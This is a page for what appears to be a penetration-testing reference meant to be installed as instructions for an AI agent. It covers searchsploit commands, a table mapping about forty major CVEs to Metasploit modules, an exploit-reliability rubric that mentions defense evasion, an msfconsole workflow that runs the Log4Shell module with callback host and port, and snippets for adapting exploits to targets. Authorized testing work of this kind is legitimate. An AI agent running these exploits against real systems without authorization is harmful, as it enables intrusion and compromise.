Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns
The English summary is being prepared. Showing the original description.
Review the instructions the agent will receive before you install.
# Text search in title/path
searchsploit apache 2.4
# Search by CVE
searchsploit --cve CVE-2021-41773
searchsploit --cve CVE-2021-44228
# JSON output for scripting
searchsploit apache --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
print(e['EDB-ID'], e['Title'], e['Path'])
"
# Copy exploit to working dir
searchsploit -m 50383
# Update database
searchsploit -u
# Search by nmap XML output
searchsploit --nmap nmap_output.xml
# Filter by type (webapps, local, remote, dos)
searchsploit -t "remote" apache
# Search for specific OS
searchsploit windows 10 privilege escalation
# Show only exploits (not shellcodes/papers)
searchsploit wordpress --www-exploit-db
| CVE / EDB-ID | Vulnerability | Metasploit Module | Reliability |
|---|---|---|---|
| CVE-2017-0144 / EDB-41891 | MS17-010 EternalBlue | exploit/windows/smb/ms17_010_eternalblue | Weaponized |
| CVE-2021-44228 / EDB-50592 | Log4Shell RCE | exploit/multi/http/log4shell_header_injection | Weaponized |
| CVE-2021-1675 / EDB-50265 | PrintNightmare | exploit/windows/dcerpc/cve_2021_1675_printnightmare | Weaponized |
| CVE-2021-34473 / EDB-50243 | ProxyShell Exchange | exploit/windows/http/exchange_proxyshell_rce | Weaponized |
| CVE-2020-1472 / EDB-49071 | ZeroLogon | auxiliary/admin/dcerpc/cve_2020_1472_zerologon | Weaponized |
| CVE-2022-22965 / EDB-50798 | Spring4Shell | exploit/multi/http/spring_framework_rce_spring4shell | Weaponized |
| CVE-2019-19781 / EDB-47901 | Citrix ADC Path Traversal | exploit/linux/http/citrix_dir_traversal_rce | Weaponized |
| CVE-2020-5902 / EDB-48695 | F5 BIG-IP RCE | exploit/linux/http/f5_bigip_tmui_rce | Weaponized |
| CVE-2021-26855 / EDB-49637 | ProxyLogon Exchange | exploit/windows/http/exchange_proxylogon_rce | Weaponized |
| CVE-2022-26134 / EDB-51076 | Confluence OGNL RCE | exploit/multi/http/atlassian_confluence_namespace_ognl_injection | Weaponized |
| CVE-2018-13379 / EDB-47288 | FortiOS Path Traversal | auxiliary/gather/fortios_vpn_user_cred | Functional |
| CVE-2022-1388 / EDB-50919 | F5 iControl Auth Bypass | exploit/linux/http/f5_icontrol_rce | Weaponized |
| CVE-2021-20038 / EDB-50882 | SonicWall SMA Stack Overflow | exploit/linux/http/sonicwall_sma_overflow | Functional |
| CVE-2023-46604 / EDB-51880 | Apache ActiveMQ RCE | exploit/multi/misc/apache_activemq_rce_cve_2023_46604 | Weaponized |
| CVE-2021-3156 / EDB-49521 | Sudo Baron Samedit | exploit/linux/local/sudo_baron_samedit | Weaponized |
| CVE-2021-4034 / EDB-50689 | PwnKit polkit LPE | exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec | Weaponized |
| CVE-2022-0847 / EDB-50808 | Dirty Pipe Linux LPE | exploit/linux/local/cve_2022_0847_dirtypipe | Weaponized |
| CVE-2016-5195 / EDB-40616 | Dirty COW Linux LPE | exploit/linux/local/overlayfs_priv_esc | Weaponized |
| CVE-2014-6271 / EDB-34766 | Shellshock Bash RCE | exploit/multi/http/apache_mod_cgi_bash_env_exec | Weaponized |
| CVE-2017-5638 / EDB-41570 | Apache Struts2 RCE | exploit/multi/http/struts2_content_type_ognl | Weaponized |
| CVE-2019-0708 / EDB-47416 | BlueKeep RDP RCE | exploit/windows/rdp/cve_2019_0708_bluekeep_rce | Functional |
| CVE-2020-0796 / EDB-48260 | SMBGhost RCE | exploit/windows/smb/cve_2020_0796_smbghost | Functional |
| CVE-2018-7600 / EDB-44449 | Drupalgeddon2 RCE | exploit/unix/webapp/drupal_drupalgeddon2 | Weaponized |
| CVE-2019-0211 / EDB-46676 | Apache HTTPd LPE | exploit/multi/http/apache_mod_cgi_bash_env_exec | Functional |
| CVE-2015-1701 / EDB-37367 | Windows Win32k LPE | exploit/windows/local/ms15_051_client_copy_image | Weaponized |
| CVE-2020-14882 / EDB-49391 | Oracle WebLogic RCE | exploit/multi/http/oracle_weblogic_admin_handle_rce | Weaponized |
| CVE-2021-22005 / EDB-50513 | vCenter File Upload | exploit/linux/http/vmware_vcenter_uploadova_rce | Weaponized |
| CVE-2022-41040 / EDB-51917 | ProxyNotShell Exchange | exploit/windows/http/exchange_proxynotshell_rce | Functional |
| CVE-2023-22515 / EDB-51899 | Confluence Priv Esc | Manual PoC required | Functional |
| CVE-2024-21762 / EDB-51960 | FortiOS OOB Write | Manual PoC required | Weaponized |
| CVE-2019-11510 / EDB-47297 | Pulse Secure Arb File Read | auxiliary/gather/pulse_secure_file_read | Weaponized |
| CVE-2020-3452 / EDB-48577 | Cisco ASA Path Traversal | auxiliary/gather/cisco_asa_local_file_inclusion | Weaponized |
| CVE-2021-40539 / EDB-50781 | ManageEngine RCE | exploit/multi/http/manageengine_adselfservice_plusrce | Weaponized |
| CVE-2022-36537 / EDB-51327 | ZK Framework RCE | Manual PoC | Functional |
| CVE-2023-4966 / EDB-51888 | Citrix Bleed Session Leak | Manual PoC | Weaponized |
| CVE-2024-3400 / EDB-52023 | PAN-OS GlobalProtect RCE | Manual PoC | Weaponized |
| CVE-2022-47966 / EDB-51518 | ManageEngine SAML RCE | exploit/linux/http/zoho_manageengine_saml_rce | Weaponized |
| CVE-2023-27997 / EDB-51832 | FortiGate SSL-VPN Heap BOF | Manual PoC | Weaponized |
| CVE-2023-20198 / EDB-51873 | Cisco IOS XE Priv Esc | Manual PoC | Weaponized |
| CVE-2024-6387 / EDB-52098 | OpenSSH regreSSHion | Manual PoC (race) | DoS-only |
| Level | Label | Criteria | Action |
|---|---|---|---|
| 1 | Weaponized | Works out-of-box against target version, produces shell/access reliably | Test directly; log as CONFIRMED |
| 2 | Functional | Requires minor adaptation (change URL, adjust offset) | Modify per target; log as VERIFIED |
| 3 | DoS-only | Crashes service but no code exec | Confirm version, log as CONFIRMED-DOS |
| 4 | Theoretical | Academic writeup, no working code | Write PoC from paper or skip |
| 5 | False/Invalid | Patched, misidentified, or wrong version | Log as NOT-APPLICABLE |
Reliability Assessment Checklist:
□ Check affected version range vs target version (confirm match)
□ Read comments/issues on GitHub PoC for known problems
□ Check EDB verified badge (green checkmark = tested by staff)
□ Note compile requirements (libc version, kernel headers, etc.)
□ Test in identical OS/service version lab before live target
□ Check VT multi-scanner on compiled binary (defense evasion consideration)
| Score | Severity | Vector Pattern | Examples |
|---|---|---|---|
| 9.0–10.0 | CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C | Pre-auth RCE, unauthenticated critical |
| 7.0–8.9 | HIGH | AV:N/AC:L/PR:N/UI:N | Auth bypass, post-auth RCE, LPE |
| 4.0–6.9 | MEDIUM | AV:N/AC:L/PR:L or AV:L/AC:L | Auth required, info disclosure |
| 0.1–3.9 | LOW | AV:L/AC:H/PR:H | Physical access, complex conditions |
Common Vector Components:
AV: N(network) L(local) P(physical) A(adjacent)
AC: L(low) H(high)
PR: N(none) L(low) H(high)
UI: N(none) R(required)
S: U(unchanged) C(changed)
C/I/A: N(none) L(low) H(high)
Pre-built CVSS Vectors by Category:
Pre-auth RCE (critical): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
Auth bypass + access: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
Post-auth RCE: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
Local privilege escalation: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8
Stored XSS (admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4
SQLi (read-only): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
SSRF (internal): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N = 7.2
Path traversal (LFI): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
DoS (network): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
CSRF (state-change): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N = 6.5
# 1. Find relevant exploits
searchsploit --cve CVE-2021-44228 --json | python3 -m json.tool
# 2. View exploit details before downloading
searchsploit -x exploits/java/webapps/50592.py
# 3. Mirror to current directory
searchsploit -m 50592
# 4. Find matching MSF module
msfconsole -q -x "search cve:2021-44228; exit"
# 5. Run MSF module
msfconsole -q -x "
use exploit/multi/http/log4shell_header_injection
set RHOSTS $TARGET
set RPORT $PORT
set TARGETURI /
set LHOST $LHOST
set LPORT $LPORT
run
exit
"
# Pattern 1: Fix URL in raw exploit
import re
code = open('exploit.py').read()
code = re.sub(r'http://[0-9.]+', f'http://{TARGET}', code)
# Pattern 2: Fix shell command in exploit
# Find LHOST/LPORT references and replace with env vars
import os
LHOST = os.environ['LHOST']
LPORT = os.environ['LPORT']
# Pattern 3: Adjust buffer offset for target binary version
# Use cyclic pattern to find EIP/RIP offset
python3 -c "from pwntools import *; print(cyclic(200))" | ./$BINARY
# Then check crash offset with: cyclic_find(b'faab')
No reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
Active Directory attack reference — BloodHound Cypher queries, Kerberos attack decision tree, ACE/ACL abuse, ADCS ESC1-8, and AD misconfig checklist
The English summary is being prepared. Showing the original description.
MITRE ATT&CK framework reference — tactics, techniques, and tool-to-TTP mappings for pentest documentation and detection rule writing
The English summary is being prepared. Showing the original description.
CVSS 3.1 vector examples, executive summary template, full technical finding template, and remediation language bank for pentest reports
The English summary is being prepared. Showing the original description.
SecLists path map, hashcat rules, CeWL usage, and custom wordlist generation for all attack categories
The English summary is being prepared. Showing the original description.